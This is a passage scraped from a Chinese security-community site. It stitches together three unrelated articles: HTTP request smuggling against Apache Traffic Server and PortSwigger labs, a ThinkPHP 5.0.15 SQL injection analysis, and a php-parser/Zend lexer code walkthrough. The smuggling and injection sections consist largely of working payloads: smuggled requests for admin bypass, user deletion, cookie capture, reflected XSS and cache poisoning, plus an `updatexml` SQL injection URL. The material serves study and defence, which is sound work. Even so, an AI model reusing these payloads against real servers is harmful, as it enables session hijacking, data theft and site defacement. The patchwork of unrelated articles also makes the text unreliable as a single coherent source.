其中`GET http://ats.mengsec.com/1.html HTTP/1.1`为名为`GET
http`，值为`//ats.mengsec.com/1.html HTTP/1.1`的请求头。
第二个为
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
当该请求发送给ATS服务器之后，我们可以获取到三个HTTP响应，第一个为400，第二个为200，第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。
根据HTTP
Pipepline的先入先出规则，假设攻击者向ATS服务器发送了第一个恶意请求，然后受害者向ATS服务器发送了一个正常的请求，受害者获取到的响应，就会是攻击者发送的恶意请求中的`GET
http://evil.mengsec.com/evil.html HTTP/1.1`中的内容。这种攻击方式理论上是可以成功的，但是利用条件还是太苛刻了。
对于该漏洞的修复方式，ATS服务器选择了，当遇到400错误时，关闭TCP链接，这样无论后续有什么请求，都不会对其他用户造成影响了。
#### 4.3.3 第三个补丁
> <https://github.com/apache/trafficserver/pull/3231> # 3231 验证请求中的Content-> Length头
在该补丁中，bryancall 的描述是
当Content-Length请求头不匹配时，响应400，删除具有相同Content-Length请求头的重复副本，如果存在Transfer-Encoding请求头，则删除Content-Length请求头。
从这里我们可以知道，ATS 7.1.2版本中，并没有对`RFC2616`的标准进行完全实现，我们或许可以进行`CL-TE`走私攻击。
构造请求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
多次发送后就能获得`405 Not Allowed`响应。
我们可以认为，后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。
GGET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
......
对于Nginx来说，`GGET`这种请求方法是不存在的，当然会返回`405`报错了。
接下来尝试攻击下`admin.php`，构造请求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 83\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
多次请求后获得了响应`You are not Admin`，说明服务器对`admin.php`进行了请求。
如果此时管理员已经登录了，然后想要访问一下网站的主页。他的请求为
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
效果如下
我们可以看一下Wireshark的流量，其实还是很好理解的。
阴影所示部分就是管理员发送的请求，在Nginx服务器中组合进入了上一个请求中，就相当于
GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo: GET / HTTP/1.1
Host: 10.211.55.2:10086
Cookie: admin=1
X-Forwarded-For: 10.211.55.2
Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)
携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。
#### 4.3.4 第四个补丁
> <https://github.com/apache/trafficserver/pull/3251> # 3251 当缓存命中时，清空请求体
当时看这个补丁时，感觉是一脸懵逼，只知道应该和缓存有关，但一直想不到哪里会出问题。看代码也没找到，在9月17号的时候regilero的分析文章出来才知道问题在哪。
当缓存命中之后，ATS服务器会忽略请求中的`Content-Length`请求头，此时请求体中的数据会被ATS当做另外的HTTP请求来处理，这就导致了一个非常容易利用的请求走私漏洞。
在进行测试之前，把测试环境中ATS服务器的缓存功能打开，对默认配置进行一下修改，方便我们进行测试。
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能
CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效，方便控制缓存过期时间
CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时，就对响应进行缓存
然后重启服务器即可生效。
为了方便测试，我在Nginx网站目录下写了一个生成随机字符串的脚本`random_str.php`
function randomkeys($length){
$output='';
for ($a = 0; $a<$length; $a++) {
$output .= chr(mt_rand(33, 126));
}
return $output;
}
echo "get random string: ";
echo randomkeys(8);
构造请求包
GET /1.html HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Cache-control: max-age=10\r\n
Content-Length: 56\r\n
\r\n
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
第一次请求
第二次请求
可以看到，当缓存命中时，请求体中的数据变成了下一个请求，并且成功的获得了响应。
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
而且在整个请求中，所有的请求头都是符合RFC规范的，这就意味着，在ATS前方的代理服务器，哪怕严格实现了RFC标准，也无法避免该攻击行为对其他用户造成影响。
ATS的修复措施也是简单粗暴，当缓存命中时，把整个请求体清空就好了。
## 5\. 其他攻击实例
在前面，我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞，也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持，但它能做的不仅仅是这些，在PortSwigger中提供了利用HTTP请求走私攻击的[实验](https://portswigger.net/web-security/request-smuggling/exploiting)，可以说是很典型了。
### 5.1 绕过前端服务器的安全控制
在这个网络环境中，前端服务器负责实现安全控制，只有被允许的请求才能转发给后端服务器，而后端服务器无条件的相信前端服务器转发过来的全部请求，对每个请求都进行响应。因此我们可以利用HTTP请求走私，将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验，分别是使用`CL-TE`和`TE-CL`绕过前端的访问控制。
#### 5.1.1 使用CL-TE绕过前端服务器安全控制
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te>
实验的最终目的是获取admin权限并删除用户carlos
我们直接访问`/admin`，会返回提示`Path /admin is blocked`，看样子是被前端服务器阻止了，根据题目的提示`CL-TE`，我们可以尝试构造数据包
POST / HTTP/1.1
Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI
Content-Length: 38
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
foo: bar
进行多次请求之后，我们可以获得走私过去的请求的响应。
提示只有是以管理员身份访问或者在本地登录才可以访问`/admin`接口。
在下方走私的请求中，添加一个`Host: localhost`请求头，然后重新进行请求，一次不成功多试几次。
如图所示，我们成功访问了admin界面。也知道了如何删除一个用户，也就是对`/admin/delete?username=carlos`进行请求。
修改下走私的请求包再发送几次即可成功删除用户`carlos`。
需要注意的一点是在这里，不需要我们对其他用户造成影响，因此走私过去的请求也必须是一个完整的请求，最后的两个`\r\n`不能丢弃。
#### 5.1.1 使用TE-CL绕过前端服务器安全控制
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl>
这个实验与上一个就十分类似了，具体攻击过程就不在赘述了。
### 5.2 获取前端服务器重写请求字段
在有的网络环境下，前端代理服务器在收到请求后，不会直接转发给后端服务器，而是先添加一些必要的字段，然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的，比如：
* 描述TLS连接所使用的协议和密码
* 包含用户IP地址的XFF头
* 用户的会话令牌ID
总之，如果不能获取到代理服务器添加或者重写的字段，我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法，主要是三大步骤：
* 找一个能够将请求参数的值输出到响应中的POST请求
* 把该POST请求中，找到的这个特殊的参数放在消息的最后面
* 然后走私这一个请求，然后直接发送一个普通的请求，前端服务器对这个请求重写的一些字段就会显示出来。
怎么理解呢，还是做一下实验来一起来学习下吧。
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting>
实验的最终目的还是删除用户 `carlos`。
我们首先进行第一步骤，找一个能够将请求参数的值输出到响应中的POST请求。
在网页上方的搜索功能就符合要求
构造数据包
POST / HTTP/1.1
Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Type: application/x-www-form-urlencoded
Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA
Content-Length: 77
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
多次请求之后就可以获得前端服务器添加的请求头
这是如何获取的呢，可以从我们构造的数据包来入手，可以看到，我们走私过去的请求为
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
其中`Content-Length`的值为70，显然下面携带的数据的长度是不够70的，因此后端服务器在接收到这个走私的请求之后，会认为这个请求还没传输完毕，继续等待传输。
接着我们又继续发送相同的数据包，后端服务器接收到的是前端代理服务器已经处理好的请求，当接收的数据的总长度到达70时，后端服务器认为这个请求已经传输完毕了，然后进行响应。这样一来，后来的请求的一部分被作为了走私的请求的参数的一部分，然后从响应中表示了出来，我们就能获取到了前端服务器重写的字段。
在走私的请求上添加这个字段，然后走私一个删除用户的请求就好了。
### 5.3 获取其他用户的请求
在上一个实验中，我们通过走私一个不完整的请求来获取前端服务器添加的字段，而字段来自于我们后续发送的请求。换句话说，我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后，其他用户也进行了请求呢？我们寻找的这个POST请求会将获得的数据存储并展示出来呢？这样一来，我们可以走私一个恶意请求，将其他用户的请求的信息拼接到走私请求之后，并存储到网站中，我们再查看这些数据，就能获取用户的请求了。这可以用来偷取用户的敏感信息，比如账号密码等信息。
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests>
实验的最终目的是获取其他用户的Cookie用来访问其他账号。
我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单，很容易就能发现网站中有一个用户评论的地方。
抓取POST请求并构造数据包
POST / HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 267
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 400
csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=
这样其实就足够了，但是有可能是实验环境的问题，我无论怎么等都不会获取到其他用户的请求，反而抓了一堆我自己的请求信息。不过原理就是这样，还是比较容易理解的，最重要的一点是，走私的请求是不完整的。
### 5.4 利用反射型XSS
我们可以使用HTTP走私请求搭配反射型XSS进行攻击，这样不需要与受害者进行交互，还能利用漏洞点在请求头中的XSS漏洞。
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss>
在实验介绍中已经告诉了前端服务器不支持分块编码，目标是执行alert(1)
首先根据UA出现的位置构造Payload
然后构造数据包
POST / HTTP/1.1
Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>#
Content-Type: application/x-www-form-urlencoded
此时在浏览器中访问，就会触发弹框
再重新发一下，等一会刷新，可以看到这个实验已经解决了。
### 5.5 进行缓存投毒
一般来说，前端服务器出于性能原因，会对后端服务器的一些资源进行缓存，如果存在HTTP请求走私漏洞，则有可能使用重定向来进行缓存投毒，从而影响后续访问的所有用户。
Lab地址：<https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning>
实验环境中提供了漏洞利用的辅助服务器。
需要添加两个请求包，一个POST，携带要走私的请求包，另一个是正常的对JS文件发起的GET请求。
以下面这个JS文件为例
/resources/js/labHeader.js
编辑响应服务器
构造POST走私数据包
POST / HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net
Content-Length: 10
123
然后构造GET数据包
GET /resources/js/labHeader.js HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Connection: close
POST请求和GET请求交替进行，多进行几次，然后访问js文件，响应为缓存的漏洞利用服务器上的文件。
访问主页，成功弹窗，可以知道，js文件成功的被前端服务器进行了缓存。
## 6\. 如何防御
从前面的大量案例中，我们已经知道了HTTP请求走私的危害性，那么该如何防御呢？不针对特定的服务器，通用的防御措施大概有三种。
* 禁用代理服务器与后端服务器之间的TCP连接重用。
* 使用HTTP/2协议。
* 前后端使用相同的服务器。
以上的措施有的不能从根本上解决问题，而且有着很多不足，就比如禁用代理服务器和后端服务器之间的TCP连接重用，会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用，哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说，HTTP请求走私出现的原因并不是协议设计的问题，而是不同服务器实现的问题，个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准，但这也是最难做到的。
## 参考链接
* <https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/>
* <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn>
* <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>
* <https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf>
* * * | 社区文章 |
作者：chybeta
来源：[先知安全社区](https://xz.aliyun.com/t/2257)
#### 前言
#### 漏洞复现
搭建好数据库，以我自己的配置为例。数据库为tptest，表名为user，其中有两个字段id和username
thinkphp官网下载5.0.15版本： <http://www.thinkphp.cn/down/1125.html> 。修改数据库配置信息
application/database.php。在 application/config.php
中打开调试和trace，`app_debug`和`app_trace`均为true。在
application/index/controller/Index.php 中Index类中添加方法：
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}
访问：
http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
#### 漏洞分析
通过input获取到参数后，`username`变量情况如下：
跟入insert，thinkphp/library/think/db/Query.php:2078
<?php
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
...
接下去执行：
<?php
$sql = $this->builder->insert($data, $options, $replace);
跟入 thinkphp/library/think/db/Builder.php:720：
<?php
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
...
跟入`parseData`至 thinkphp/library/think/db/Builder.php:101 ，相关变量信息已经注释添加。
<?php
protected function parseData($data, $options)
{
...
// 注
foreach ($data as $key => $val) { // 第 101 行左右
// $key : "username"
// $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
....
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
...
} elseif (is_null($val)) {
...
} elseif (is_array($val) && !empty($val)) {
// $val[0] = "inc"
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
...
}
return $result;
可以看出`$val`是数组，且根据`$val[0]`值为`inc`，会通过switch语句进入到下面这条：
<?php
case 'inc':
// $val[1] = "updatexml(1,concat(0x7,user(),0x7e),1)"
// $val[2] = "1"
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
跟入此处的`parseKey`，即thinkphp/library/think/db/builder/Mysql.php:90
<?php
protected function parseKey($key, $options = [])
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)"
}
此处并未对传入的`$key`进行更多的过滤与检查，最后返回的仍然是`1 and
(updatexml(1,concat(0x7,user(),0x7e),1))`
回到`parseData`，`floatval($val[2])`返回1，这也正是我们要传入`username[2]=1`的原因。将其与前面经过`parseKey`的结果进行拼接后返回给`result`
回到 thinkphp/library/think/db/Query.ph 的 insert 中：
sql注入成功。
#### 漏洞修复
官方commit： <https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b>
在进行`dec`和`inc`操作之前对`$val[1]`的值进行了再次确认。
* * * | 社区文章 |
# php parser与lexical scanner分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
目的：学习语义分析工具的编写原理从而实现自己编写语义分析工具。
读完本文只需要记得phpparser基于zend’s lexical scanner，zend’s lexical
scanner基于re2c。下一次我们会分析一下re2c看看究竟抽象化是怎么通过代码实现的。
## 简单的例子入手
从readme中的例子入手
### 抽象化
<?php
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
$code = <<<'CODE'
<?php
function test($foo)
{
var_dump($foo);
}
CODE;
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$dumper = new NodeDumper;
echo $dumper->dump($ast) . "\n";
?>
首先引用了Error NodeDumper ParserFactory
code是\<? php function test($foo){ var_dump($foo);}?>
new一个parserfactory执行create
那么我们打开parserfactory文件查看create函数
函数原型是public function create(int $kind, Lexer $lexer = null, array
$parserOptions = []) : Parser {
同时文件开头定义PHP7为1
也就是kind=1
进入函数内部，lexer=null所以new一个emulative
switch return new multiple参数是new php7和 php5
php7参数是lexer 和parseroptions
lexer=new emulative parseroptions=null
所以parser的值是multiple
然后下一句 ast = parser->parse(code)
转到parser，函数原型public function parse(string $code, ErrorHandler $errorHandler =
null)：
public function parse(string $code, ErrorHandler $errorHandler = null) {
if (null === $errorHandler) {
$errorHandler = new ErrorHandler\Throwing;
}
list($firstStmts, $firstError) = $this->tryParse($this->parsers[0], $errorHandler, $code);
if ($firstError === null) {
return $firstStmts;
}
for ($i = 1, $c = count($this->parsers); $i < $c; ++$i) {
list($stmts, $error) = $this->tryParse($this->parsers[$i], $errorHandler, $code);
if ($error === null) {
return $stmts;
}
}
throw $firstError;
}
调用tryparse函数，调用parserabstract的parse函数。
public function parse(string $code, ErrorHandler $errorHandler = null) {
$this->errorHandler = $errorHandler ?: new ErrorHandler\Throwing;
$this->lexer->startLexing($code, $this->errorHandler);
$result = $this->doParse();
// Clear out some of the interior state, so we don't hold onto unnecessary
// memory between uses of the parser
$this->startAttributeStack = [];
$this->endAttributeStack = [];
$this->semStack = [];
$this->semValue = null;
return $result;
}
调用lexer的startlexing
public function startLexing(string $code, ErrorHandler $errorHandler = null) {
if (null === $errorHandler) {
$errorHandler = new ErrorHandler\Throwing();
}
$this->code = $code; // keep the code around for __halt_compiler() handling
$this->pos = -1;
$this->line = 1;
$this->filePos = 0;
// If inline HTML occurs without preceding code, treat it as if it had a leading newline.
// This ensures proper composability, because having a newline is the "safe" assumption.
$this->prevCloseTagHasNewline = true;
$scream = ini_set('xdebug.scream', '0');
$this->tokens = @token_get_all($code);
$this->postprocessTokens($errorHandler);
if (false !== $scream) {
ini_set('xdebug.scream', $scream);
}
}
执行token_get_all
使用 Zend 引擎的词汇扫描仪将给定字符串解析为 PHP 语言令牌
实现了将不同格式的代码转换成通用语言令牌。
随后执行postprocesstokens对token进行处理，记录每一部分的位置，并进行划分。
再执行doparse
对每个token都只记录开始和结束。
随后记录状态，和数据流分析一样，要记录每一句代码执行之前的状态和执行之后的状态，而这些状态存储在statestack中，也就是抽象堆中。
随后执行getnexttoken函数，记录代码所在起始和结束行，token起始和结束位置，所在文件起始和结束位置。
随后判断这个token在不在我们当前分析的代码块中，并将token插入到AST中的执行位置
返回结果
最后dump输出结果
array(
0: Stmt_Function(
byRef: false
name: Identifier(
name: test
)
params: array(
0: Param(
type: null
byRef: false
variadic: false
var: Expr_Variable(
name: foo
)
default: null
)
)
returnType: null
stmts: array(
0: Stmt_Expression(
expr: Expr_FuncCall(
name: Name(
parts: array(
0: var_dump
)
)
args: array(
0: Arg(
value: Expr_Variable(
name: foo
)
byRef: false
unpack: false
)
)
)
)
)
)
)
stmt__function记录函数定义，identifier标记name是test，params记录函数参数。Expr_variable表示变量，name记录变量名，stmts是函数内部代码。stmt_expression记录表达式，expr_Funccall表示调用函数，name记录函数名，args记录参数
### 实现
use PhpParser\Node;
use PhpParser\Node\Stmt\Function_;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitorAbstract;
$traverser = new NodeTraverser();
$traverser->addVisitor(new class extends NodeVisitorAbstract {
public function enterNode(Node $node) {
if ($node instanceof Function_) {
// Clean out the function body
$node->stmts = [];
}
}
});
$ast = $traverser->traverse($ast);
echo $dumper->dump($ast) . "\n";
将抽象函数enternode定义，执行traverse函数
public function traverse(array $nodes) : array {
$this->stopTraversal = false;
foreach ($this->visitors as $visitor) {
if (null !== $return = $visitor->beforeTraverse($nodes)) {
$nodes = $return;
}
}
$nodes = $this->traverseArray($nodes);
foreach ($this->visitors as $visitor) {
if (null !== $return = $visitor->afterTraverse($nodes)) {
$nodes = $return;
}
}
return $nodes;
}
执行$nodes = $this->traverseArray($nodes);
protected function traverseArray(array $nodes) : array {
$doNodes = [];
foreach ($nodes as $i => &$node) {
if ($node instanceof Node) {
$traverseChildren = true;
$breakVisitorIndex = null;
foreach ($this->visitors as $visitorIndex => $visitor) {
$return = $visitor->enterNode($node);
if (null !== $return) {
if ($return instanceof Node) {
$this->ensureReplacementReasonable($node, $return);
$node = $return;
} elseif (self::DONT_TRAVERSE_CHILDREN === $return) {
$traverseChildren = false;
} elseif (self::DONT_TRAVERSE_CURRENT_AND_CHILDREN === $return) {
$traverseChildren = false;
$breakVisitorIndex = $visitorIndex;
break;
} elseif (self::STOP_TRAVERSAL === $return) {
$this->stopTraversal = true;
break 2;
} else {
throw new \LogicException(
'enterNode() returned invalid value of type ' . gettype($return)
);
}
}
}
if ($traverseChildren) {
$node = $this->traverseNode($node);
if ($this->stopTraversal) {
break;
}
}
foreach ($this->visitors as $visitorIndex => $visitor) {
$return = $visitor->leaveNode($node);
if (null !== $return) {
if ($return instanceof Node) {
$this->ensureReplacementReasonable($node, $return);
$node = $return;
} elseif (\is_array($return)) {
$doNodes[] = [$i, $return];
break;
} elseif (self::REMOVE_NODE === $return) {
$doNodes[] = [$i, []];
break;
} elseif (self::STOP_TRAVERSAL === $return) {
$this->stopTraversal = true;
break 2;
} elseif (false === $return) {
throw new \LogicException(
'bool(false) return from leaveNode() no longer supported. ' .
'Return NodeTraverser::REMOVE_NODE instead'
);
} else {
throw new \LogicException(
'leaveNode() returned invalid value of type ' . gettype($return)
);
}
}
if ($breakVisitorIndex === $visitorIndex) {
break;
}
}
} elseif (\is_array($node)) {
throw new \LogicException('Invalid node structure: Contains nested arrays');
}
}
if (!empty($doNodes)) {
while (list($i, $replace) = array_pop($doNodes)) {
array_splice($nodes, $i, 1, $replace);
}
}
return $nodes;
}
实现进入子节点并记录
其中因为我们补充的enternode是$node->stmts = [];
所以最终结果是
array(
0: Stmt_Function(
byRef: false
name: Identifier(
name: test
)
params: array(
0: Param(
type: null
byRef: false
variadic: false
var: Expr_Variable(
name: foo
)
default: null
)
)
returnType: null
stmts: array(
)
)
)
也就是仅仅记录函数本身不包括其中内容和操作。
所以结论就是phpparser的抽象化是由token_get_all实现的，生成AST是其主要部分，代码分析操作由接口实现。
### Zend engine’s lexical scanner
我们看看Zend engine’s lexical scanner的源码，来学习一下词汇扫描仪是怎么抽象化代码的。
#### 初始化
ZEND_API zend_result open_file_for_scanning(zend_file_handle *file_handle)
{
char *buf;
size_t size;
zend_string *compiled_filename;
if (zend_stream_fixup(file_handle, &buf, &size) == FAILURE) {
/* Still add it to open_files to make destroy_file_handle work */
zend_llist_add_element(&CG(open_files), file_handle);
file_handle->in_list = 1;
return FAILURE;
}
ZEND_ASSERT(!EG(exception) && "stream_fixup() should have failed");
zend_llist_add_element(&CG(open_files), file_handle);
file_handle->in_list = 1;
/* Reset the scanner for scanning the new file */
SCNG(yy_in) = file_handle;
SCNG(yy_start) = NULL;
if (size != (size_t)-1) {
if (CG(multibyte)) {
SCNG(script_org) = (unsigned char*)buf;
SCNG(script_org_size) = size;
SCNG(script_filtered) = NULL;
zend_multibyte_set_filter(NULL);
if (SCNG(input_filter)) {
if ((size_t)-1 == SCNG(input_filter)(&SCNG(script_filtered), &SCNG(script_filtered_size), SCNG(script_org), SCNG(script_org_size))) {
zend_error_noreturn(E_COMPILE_ERROR, "Could not convert the script from the detected "
"encoding \"%s\" to a compatible encoding", zend_multibyte_get_encoding_name(LANG_SCNG(script_encoding)));
}
buf = (char*)SCNG(script_filtered);
size = SCNG(script_filtered_size);
}
}
SCNG(yy_start) = (unsigned char *)buf;
yy_scan_buffer(buf, size);
} else {
zend_error_noreturn(E_COMPILE_ERROR, "zend_stream_mmap() failed");
}
if (CG(skip_shebang)) {
BEGIN(SHEBANG);
} else {
BEGIN(INITIAL);
}
if (file_handle->opened_path) {
compiled_filename = zend_string_copy(file_handle->opened_path);
} else {
compiled_filename = zend_string_copy(file_handle->filename);
}
zend_set_compiled_filename(compiled_filename);
zend_string_release_ex(compiled_filename, 0);
RESET_DOC_COMMENT();
CG(zend_lineno) = 1;
CG(increment_lineno) = 0;
return SUCCESS;
}
首先初始化SCNG的内容然后调用BEGIN，BEGIN在最开始定义为#define BEGIN(state)
YYSETCONDITION(STATE(state))
YYSETCONDITION的定义是#define YYSETCONDITION(s) SCNG(yy_state) = s
也就是设置state = s
随后执行
zend_set_compiled_filename(compiled_filename);
zend_set_compiled_filename的定义是
ZEND_API zend_string *zend_set_compiled_filename(zend_string *new_compiled_filename)
{
CG(compiled_filename) = zend_string_copy(new_compiled_filename);
return new_compiled_filename;
}
调用zend_string_copy最终返回文件名
再执行RESET_DOC_COMMENT();
#define RESET_DOC_COMMENT() do { \
if (CG(doc_comment)) { \
zend_string_release_ex(CG(doc_comment), 0); \
CG(doc_comment) = NULL; \
} \
} while (0)
zend_string_release_ex
static zend_always_inline void zend_string_release_ex(zend_string *s, bool persistent)
{
if (!ZSTR_IS_INTERNED(s)) {
if (GC_DELREF(s) == 0) {
if (persistent) {
ZEND_ASSERT(GC_FLAGS(s) & IS_STR_PERSISTENT);
free(s);
} else {
ZEND_ASSERT(!(GC_FLAGS(s) & IS_STR_PERSISTENT));
efree(s);
}
}
}
}
persistent是0 所以执行efree
ZEND_API void ZEND_FASTCALL _efree(void *ptr ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOM
if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
_efree_custom(ptr ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
return;
}
#endif
zend_mm_free_heap(AG(mm_heap), ptr ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
static zend_always_inline void zend_mm_free_heap(zend_mm_heap *heap, void *ptr ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
size_t page_offset = ZEND_MM_ALIGNED_OFFSET(ptr, ZEND_MM_CHUNK_SIZE);
if (UNEXPECTED(page_offset == 0)) {
if (ptr != NULL) {
zend_mm_free_huge(heap, ptr ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
} else {
zend_mm_chunk *chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(ptr, ZEND_MM_CHUNK_SIZE);
int page_num = (int)(page_offset / ZEND_MM_PAGE_SIZE);
zend_mm_page_info info = chunk->map[page_num];
ZEND_MM_CHECK(chunk->heap == heap, "zend_mm_heap corrupted");
if (EXPECTED(info & ZEND_MM_IS_SRUN)) {
zend_mm_free_small(heap, ptr, ZEND_MM_SRUN_BIN_NUM(info));
} else /* if (info & ZEND_MM_IS_LRUN) */ {
int pages_count = ZEND_MM_LRUN_PAGES(info);
ZEND_MM_CHECK(ZEND_MM_ALIGNED_OFFSET(page_offset, ZEND_MM_PAGE_SIZE) == 0, "zend_mm_heap corrupted");
zend_mm_free_large(heap, chunk, page_num, pages_count);
}
}
}
处理堆栈中的数据，清空上一次分析的内存
ZEND_API zend_op_array *compile_file(zend_file_handle *file_handle, int type)
{
zend_lex_state original_lex_state;
zend_op_array *op_array = NULL;
zend_save_lexical_state(&original_lex_state);
